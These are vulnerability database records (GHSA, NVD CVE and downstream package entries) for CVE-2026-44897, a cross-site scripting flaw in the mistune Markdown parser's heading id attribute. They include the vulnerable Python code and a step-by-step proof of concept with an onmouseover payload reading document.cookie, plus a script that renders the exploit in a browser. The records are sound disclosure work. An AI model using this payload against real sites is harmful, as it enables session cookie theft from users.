source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "BREW-recon-ng-CVE-2026-44897",
  "modified": "2026-09-10T01:05:54Z",
  "published": "2026-08-13T17:32:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS",
  "upstream": [
    "GHSA-v87v-83h2-53w7",
    "CVE-2026-44897",
    "PYSEC-2026-2207"
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Security vulnerability affects the tensorflow-gpu-jupyter package. This issue is resolved in later releases. See references for vulnerability details.",
  "id": "CLEANSTART-2026-DO33300",
  "modified": "2026-08-14T12:25:42Z",
  "published": "2026-09-18T09:43:42.358089Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-DO33300.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44897"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fix for CVE-2026-44897 applied in: tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "CVE-2026-44897"
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.21.0-r5"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package tensorflow-gpu-jupyter version 2.21.0-r5 fixes 28 vulnerabilities: ghsa-rch3-82jr-f9w9, ghsa-mqcg-5x36-vfcg, ghsa-37w4-hwhx-4rc4, ghsa-mf9v-mfxr-j63j, ghsa-5mrq-x3x5-8v8f...",
  "id": "CLEANSTART-2026-GG76429",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-07-30T07:10:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://tensorflow.org"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "ghsa-rch3-82jr-f9w9",
    "ghsa-mqcg-5x36-vfcg",
    "ghsa-37w4-hwhx-4rc4",
    "ghsa-mf9v-mfxr-j63j",
    "ghsa-5mrq-x3x5-8v8f",
    "ghsa-5789-5fc7-67v3",
    "ghsa-qccp-gfcp-xxvc",
    "ghsa-24qx-w28j-9m6p",
    "ghsa-8mp2-v27r-99xp",
    "ghsa-qh7q-6qm3-653w",
    "ghsa-65pc-fj4g-8rjx",
    "ghsa-6269-cqxg-mhhv",
    "ghsa-ccfx-mfmx-2fx9",
    "ghsa-v87v-83h2-53w7",
    "CVE-2026-45409",
    "CVE-2026-35397",
    "CVE-2026-40110",
    "CVE-2026-40934",
    "CVE-2025-61669",
    "CVE-2026-40171",
    "CVE-2026-42266",
    "CVE-2026-42557",
    "CVE-2026-33079",
    "CVE-2026-44897",
    "CVE-2026-44898",
    "CVE-2026-44899",
    "CVE-2026-44431",
    "CVE-2026-44432"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mistune",
          "vendor": "lepture",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A91629D7-7A30-4A3F-B1AD-17FE21D59820",
              "versionEndExcluding": "3.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening \u003chN\u003e tag by string-concatenating the id attribute value directly into the HTML \u2014 with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character \" in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1."
    },
    {
      "lang": "es",
      "value": "Mistune es un analizador de Markdown de Python con renderizadores y complementos. Antes de la versi\u00f3n 3.2.1, HTMLRenderer.heading() construye la etiqueta de apertura \u003chN\u003e concatenando el valor del atributo id directamente en el HTML - sin ninguna llamada a escape(), safe_entity() o cualquier otra funci\u00f3n de saneamiento. Un car\u00e1cter de comilla doble \" en el valor del id termina el atributo, permitiendo a un atacante inyectar atributos adicionales arbitrarios (controladores de eventos, src=, href=, etc.) en el elemento de encabezado. Esta vulnerabilidad se corrige en la versi\u00f3n 3.2.1."
    }
  ],
  "id": "CVE-2026-44897",
  "lastModified": "2026-07-24T11:10:00.170",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44897",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-01T17:04:08.778886Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T21:16:39.657",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:13:12Z",
    "nvd_published_at": "2026-05-26T21:16:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`HTMLRenderer.heading()` builds the opening `\u003chN\u003e` tag by string-concatenating the `id` attribute value directly into the HTML \u2014 with no call to `escape()`, `safe_entity()`, or any other sanitisation function. A double-quote character `\"` in the `id` value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, `src=`, `href=`, etc.) into the heading element.\n\nThe default TOC hook assigns safe auto-incremented IDs (`toc_1`, `toc_2`, \u2026) that never contain user text. However, the `add_toc_hook()` API accepts a caller-supplied `heading_id` callback. Deriving heading IDs from the heading text itself \u2014 to produce human-readable slug anchors like `#installation` or `#getting-started` \u2014 is by far the most common real-world usage of this callback (every major documentation generator does this). When the callback returns raw heading text, an attacker who controls heading content can break out of the `id=` attribute.\n\n## Details\n**File:** `src/mistune/renderers/html.py`\n\n```python\ndef heading(self, text: str, level: int, **attrs: Any) -\u003e str:\n    tag = \"h\" + str(level)\n    html = \"\u003c\" + tag\n    _id = attrs.get(\"id\")\n    if _id:\n        html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027    # \u2190 _id is never escaped\n    return html + \"\u003e\" + text + \"\u003c/\" + tag + \"\u003e\\n\"\n```\n\nThe `text` body (line content) *is* escaped upstream by the inline token renderer, which is why `text` arrives as `\u0026quot;` etc. But `_id` arrives as a raw string directly from whatever the `heading_id` callback returned \u2014 no escaping occurs at any point in the pipeline.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom `heading_id` callback). The default hook generates sequential numeric IDs:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)          # default: heading_id produces toc_1, toc_2, \u2026\n\nbl_src = \"## Introduction\\n\"\nbl_out, _ = md_safe.parse(bl_src)\n```\n\nOutput \u2014 ID is auto-generated, no user text appears in it:\n```html\n\u003ch2 id=\"toc_1\"\u003eIntroduction\u003c/h2\u003e\n```\n\n**Step 2 \u2014 Add the realistic trigger: a text-based `heading_id` callback**\n\nDeriving an anchor ID from the heading text is the standard real-world pattern (slugifiers, `mkdocs`, `sphinx`, `jekyll` all do this). The PoC uses the simplest possible version \u2014 return the raw heading text unchanged \u2014 to show the vulnerability without any extra transformation:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")   # returns raw heading text as the ID\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text contains a double-quote followed by an injected attribute:\n\n```\n## foo\" onmouseover=\"alert(document.cookie)\" x=\"\n```\n\nWhen `raw_id` is called, `token[\"text\"]` is `foo\" onmouseover=\"alert(document.cookie)\" x=\"`. This is passed verbatim to `heading()` as the `id` attribute value.\n\n**Step 4 \u2014 Observe attribute breakout in the output**\n\n```python\nex_src = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nex_out, _ = md_vuln.parse(ex_src)\n```\n\nActual output:\n```html\n\u003ch2 id=\"foo\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003efoo\u0026quot; onmouseover=\u0026quot;alert(document.cookie)\u0026quot; x=\u0026quot;\u003c/h2\u003e\n```\n\nNote: the heading **body text** is correctly escaped (`\u0026quot;`), but the **`id=` attribute** is not. A user who moves their mouse over the heading triggers `alert(document.cookie)`. Any JavaScript payload can be substituted.\n\n### Script \n\nA verification script was created to verify this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H2: HTMLRenderer.heading() inserts the id= value verbatim \u2014 no escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h2.md\"\nbl_src  = \"## Introduction\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out, _ = md_safe.parse(bl_src)\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 id=toc_1, no user content, safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h2.md\"\nex_src  = \u0027## foo\" onmouseover=\"alert(document.cookie)\" x=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out, _ = md_vuln.parse(ex_src)\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 heading_id returns raw text, id= not escaped]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser (hover the heading to trigger onmouseover)\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH2 \u2014 Heading ID XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH2 \u2014 Heading ID XSS (unescaped id= attribute)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003eHTMLRenderer.heading() in renderers/html.py does html += \u0027 id=\"\u0027 + _id + \u0027\"\u0027 with no escaping.\nTriggered when heading_id callback returns raw heading text \u2014 the most common doc-generator pattern.\u003c/p\u003e\n{case(\"baseline\", \"Clean heading \u2192 sequential id=toc_1, safe\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading \u2192 quotes break out of id=, onmouseover injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h2.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample Usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h2.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Session cookie / auth token theft via JavaScript execution triggered on mouse interaction |\n| **Integrity**    | DOM manipulation, phishing content injection, forced navigation |\n| **Availability** | Page freeze or crash available to attacker |\n\n**Risk context:** This vulnerability targets the most common customisation point for heading IDs. Any documentation site, wiki, or blog engine that generates slug-style anchors from heading text is vulnerable if it uses mistune\u0027s `heading_id` callback without independently sanitising the returned value.",
  "id": "GHSA-v87v-83h2-53w7",
  "modified": "2026-06-08T23:30:23Z",
  "published": "2026-05-09T00:13:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-v87v-83h2-53w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Heading ID Attribute has Injection XSS"
}